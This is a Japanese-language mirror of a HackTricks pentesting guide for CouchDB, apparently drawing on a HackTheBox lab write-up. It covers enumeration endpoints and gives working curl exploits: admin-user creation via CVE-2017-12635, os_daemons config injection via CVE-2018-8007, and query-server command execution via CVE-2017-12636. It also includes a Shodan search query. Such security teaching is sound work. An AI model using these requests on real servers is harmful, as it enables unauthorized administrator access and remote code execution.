mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
221 lines
18 KiB
Markdown
221 lines
18 KiB
Markdown
# 5984,6984 - Pentesting CouchDB
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **基本情報**
|
||
|
||
**CouchDB** は、データを **キー-バリューマップ** 構造を使用して各 **ドキュメント** 内で整理する多用途で強力な **ドキュメント指向データベース** です。ドキュメント内のフィールドは **キー/バリュー ペア、リスト、またはマップ** として表現でき、データの保存と取得に柔軟性を提供します。
|
||
|
||
CouchDB に保存されている各 **ドキュメント** には、ドキュメントレベルで **一意の識別子** (`_id`) が割り当てられます。さらに、データベースに対して行われ、保存された各変更には **リビジョン番号** (`_rev`) が割り当てられます。このリビジョン番号は、変更の効率的な **追跡と管理** を可能にし、データベース内のデータの簡単な取得と同期を促進します。
|
||
|
||
**デフォルトポート:** 5984(http), 6984(https)
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
5984/tcp open unknown syn-ack
|
||
```
|
||
## **自動列挙**
|
||
```bash
|
||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||
```
|
||
## 手動列挙
|
||
|
||
### バナー
|
||
```
|
||
curl http://IP:5984/
|
||
```
|
||
このリクエストは、インストールされたCouchDBインスタンスにGETリクエストを発行します。返信は次のいずれかのようになります:
|
||
```bash
|
||
{"couchdb":"Welcome","version":"0.10.1"}
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
```
|
||
> [!NOTE]
|
||
> CouchDBのルートにアクセスすると、`401 Unauthorized`が返され、次のようなメッセージが表示される場合:`{"error":"unauthorized","reason":"Authentication required."}` **バナーや他のエンドポイントにアクセスすることはできません**。
|
||
|
||
### Info Enumeration
|
||
|
||
これらは**GET**リクエストでアクセスでき、興味深い情報を抽出できるエンドポイントです。 [**CouchDBのドキュメントにもっと多くのエンドポイントと詳細な説明があります**](https://docs.couchdb.org/en/latest/api/index.html)。
|
||
|
||
- **`/_active_tasks`** 実行中のタスクのリスト。タスクの種類、名前、ステータス、プロセスIDが含まれます。
|
||
- **`/_all_dbs`** CouchDBインスタンス内のすべてのデータベースのリストを返します。
|
||
- **`/_cluster_setup`** クラスターセットアップウィザードに従ったノードまたはクラスターのステータスを返します。
|
||
- **`/_db_updates`** CouchDBインスタンス内のすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、`_global_changes`データベースの存在が必要です。
|
||
- **`/_membership`** クラスターの一部であるノードを`cluster_nodes`として表示します。`all_nodes`フィールドは、このノードが知っているすべてのノードを表示し、クラスターの一部であるノードも含まれます。
|
||
- **`/_scheduler/jobs`** レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴、その他いくつかの情報が含まれます。
|
||
- **`/_scheduler/docs`** レプリケーションドキュメントの状態のリスト。`completed`および`failed`状態のすべてのドキュメントに関する情報が含まれます。各ドキュメントについて、ドキュメントID、データベース、レプリケーションID、ソースとターゲット、その他の情報が返されます。
|
||
- **`/_scheduler/docs/{replicator_db}`**
|
||
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||
- **`/_node/{node-name}`** `/_node/{node-name}`エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、`/_node/_local`にアクセスしてこの情報を取得する際に最も便利です。
|
||
- **`/_node/{node-name}/_stats`** `_stats`リソースは、実行中のサーバーの統計を含むJSONオブジェクトを返します。リテラル文字列`_local`はローカルノード名のエイリアスとして機能するため、すべての統計URLで`{node-name}`を`_local`に置き換えて、ローカルノードの統計にアクセスできます。
|
||
- **`/_node/{node-name}/_system`** `_system`リソースは、実行中のサーバーのさまざまなシステムレベルの統計を含むJSONオブジェクトを返します。現在のノード情報を取得するために`_local`を`{node-name}`として使用できます。
|
||
- **`/_node/{node-name}/_restart`**
|
||
- **`/_up`** サーバーが稼働中で、リクエストに応答する準備ができていることを確認します。 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) が`true`または`nolb`の場合、このエンドポイントは404レスポンスを返します。
|
||
- **`/_uuids`** CouchDBインスタンスから1つ以上のユニバーサルユニーク識別子(UUID)を要求します。
|
||
- **`/_reshard`** 完了、失敗、実行中、停止、合計のジョブのカウントと、クラスターのリシャーディングの状態を返します。
|
||
|
||
ここで説明されているように、より興味深い情報を抽出できます:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||
|
||
### **Database List**
|
||
```
|
||
curl -X GET http://IP:5984/_all_dbs
|
||
```
|
||
そのリクエストが**401 Unauthorized**で応答する場合、データベースにアクセスするために**有効な資格情報**が必要です:
|
||
```
|
||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||
```
|
||
有効な資格情報を見つけるために、**サービスをブルートフォースすることを試みる**ことができます [**bruteforce the service**](../generic-hacking/brute-force.md#couchdb)。
|
||
|
||
これは、データベースをリストするのに**十分な権限**があるときのcouchdbの**レスポンス**の**例**です(単なるデータベースのリストです):
|
||
```bash
|
||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||
```
|
||
### データベース情報
|
||
|
||
データベース名にアクセスすることで、いくつかのデータベース情報(ファイルの数やサイズなど)を取得できます:
|
||
```bash
|
||
curl http://IP:5984/<database>
|
||
curl http://localhost:5984/simpsons
|
||
#Example response:
|
||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||
```
|
||
### **ドキュメントリスト**
|
||
|
||
データベース内の各エントリをリストします。
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||
curl http://localhost:5984/simpsons/_all_docs
|
||
#Example response:
|
||
{"total_rows":7,"offset":0,"rows":[
|
||
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
||
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
||
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
||
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
||
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
||
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||
]}
|
||
```
|
||
### **ドキュメントを読む**
|
||
|
||
データベース内のドキュメントの内容を読む:
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/{id}
|
||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||
#Example response:
|
||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||
```
|
||
## CouchDB 権限昇格 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||
|
||
Erlang と JavaScript の JSON パーサーの違いのおかげで、次のリクエストを使用して資格情報 `hacktricks:hacktricks` を持つ **管理者ユーザー** を作成することができます:
|
||
```bash
|
||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||
```
|
||
[**この脆弱性に関する詳細情報はこちら**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html)。
|
||
|
||
## CouchDB RCE
|
||
|
||
### **Erlang Cookie セキュリティ概要**
|
||
|
||
例 [こちらから](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||
|
||
CouchDBのドキュメント、特にクラスタ設定に関するセクション([リンク](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup))では、クラスタモードにおけるCouchDBのポートの使用について説明されています。スタンドアロンモードと同様に、ポート `5984` が使用されることが言及されています。さらに、ポート `5986` はノードローカルAPI用であり、重要なことに、ErlangはErlang Port Mapper Daemon (EPMD) のためにTCPポート `4369` を必要とし、Erlangクラスタ内でのノード間通信を促進します。この設定は、各ノードが他のすべてのノードと相互接続されるネットワークを形成します。
|
||
|
||
ポート `4369` に関する重要なセキュリティアドバイザリーが強調されています。このポートがインターネットまたは信頼できないネットワーク上でアクセス可能にされると、システムのセキュリティは「クッキー」として知られるユニークな識別子に大きく依存します。このクッキーは保護手段として機能します。例えば、特定のプロセスリストにおいて、「monster」という名前のクッキーが観察されることがあり、これはシステムのセキュリティフレームワークにおけるその運用役割を示しています。
|
||
```
|
||
www-data@canape:/$ ps aux | grep couchdb
|
||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||
```
|
||
この「クッキー」がErlangシステムの文脈でリモートコード実行(RCE)にどのように悪用されるかを理解したい方のために、さらなる読み物のための専用セクションがあります。これは、Erlangクッキーを不正に利用してシステムを制御する方法論を詳述しています。ここで[**ErlangクッキーをRCEのために悪用する詳細ガイドを探ることができます**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)。
|
||
|
||
### **local.iniの変更によるCVE-2018-8007の悪用**
|
||
|
||
例 [こちらから](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||
|
||
最近公開された脆弱性CVE-2018-8007は、Apache CouchDBに影響を与え、悪用には`local.ini`ファイルへの書き込み権限が必要であることが明らかになりました。セキュリティ制限により初期ターゲットシステムには直接適用できませんが、探索目的のために`local.ini`ファイルへの書き込みアクセスを付与するために変更が行われました。以下に、プロセスを示す詳細な手順とコード例が提供されています。
|
||
|
||
まず、`local.ini`ファイルが書き込み可能であることを確認し、権限をリスト表示して環境を準備します:
|
||
```bash
|
||
root@canape:/home/homer/etc# ls -l
|
||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||
```
|
||
脆弱性を悪用するために、`local.ini`の`cors/origins`設定をターゲットにしたcurlコマンドが実行されます。これにより、任意のコードを実行することを目的として、`[os_daemons]`セクションの下に新しいオリジンと追加のコマンドが注入されます。
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||
```
|
||
その後の検証により、`local.ini` に注入された設定が確認され、バックアップと対比して変更点が強調されます:
|
||
```bash
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
119,124d118
|
||
< [cors]
|
||
< origins = 0xdf
|
||
< [os_daemons]
|
||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||
```
|
||
最初に、期待されるファイル(`/tmp/0xdf`)は存在せず、これは注入されたコマンドがまだ実行されていないことを示しています。さらなる調査により、CouchDBに関連するプロセスが実行されており、その中には注入されたコマンドを実行する可能性のあるものが含まれています:
|
||
```bash
|
||
root@canape:/home/homer/bin# ps aux | grep couch
|
||
```
|
||
特定されたCouchDBプロセスを終了させ、システムが自動的に再起動することを許可することで、注入されたコマンドの実行がトリガーされ、以前は存在しなかったファイルの存在によって確認されます:
|
||
```bash
|
||
root@canape:/home/homer/etc# kill 711
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
/tmp/0xdf
|
||
```
|
||
この調査は、特定の条件下でのCVE-2018-8007の悪用の実現可能性を確認します。特に、`local.ini`ファイルへの書き込みアクセスが必要です。提供されたコード例と手順は、制御された環境でのエクスプロイトの再現に向けた明確なガイドを提供します。
|
||
|
||
CVE-2018-8007の詳細については、mdsecのアドバイザリーを参照してください: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。
|
||
|
||
### **local.iniの書き込み権限を持つCVE-2017-12636の探索**
|
||
|
||
例 [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
|
||
|
||
CVE-2017-12636として知られる脆弱性が調査され、CouchDBプロセスを介してコード実行を可能にしますが、特定の構成がその悪用を妨げる場合があります。オンラインで利用可能な多数のPoC(Proof of Concept)参照があるにもかかわらず、CouchDBバージョン2で脆弱性を悪用するには調整が必要であり、一般的に標的とされるバージョン1.xとは異なります。最初のステップは、CouchDBのバージョンを確認し、期待されるクエリサーバーパスが存在しないことを確認することです。
|
||
```bash
|
||
curl http://localhost:5984
|
||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||
```
|
||
CouchDBバージョン2.0に対応するために、新しいパスが利用されます:
|
||
```bash
|
||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||
```
|
||
新しいクエリサーバーを追加して呼び出そうとしたところ、以下の出力に示されているように、権限に関連するエラーが発生しました:
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
```
|
||
さらなる調査により、書き込み不可の`local.ini`ファイルに権限の問題があることが明らかになりました。rootまたはhomerアクセスでファイルの権限を変更することで、進行が可能になりました:
|
||
```bash
|
||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||
chmod 666 /home/homer/etc/local.ini
|
||
```
|
||
クエリサーバーを追加するためのその後の試みは成功し、レスポンスにエラーメッセージがないことから確認されました。`local.ini`ファイルの成功した修正は、ファイル比較を通じて確認されました:
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
```
|
||
プロセスは、データベースとドキュメントの作成を続け、新しく追加されたクエリサーバーにマッピングされたカスタムビューを介してコードを実行しようとする試みが行われました:
|
||
```bash
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||
```
|
||
A [**summary**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) は、特定の条件下で CVE-2017-12636 を悪用するための代替ペイロードに関するさらなる洞察を提供します。この脆弱性を悪用するための **Useful resources** には以下が含まれます:
|
||
|
||
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
|
||
|
||
## Shodan
|
||
|
||
- `port:5984 couchdb`
|
||
|
||
## References
|
||
|
||
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|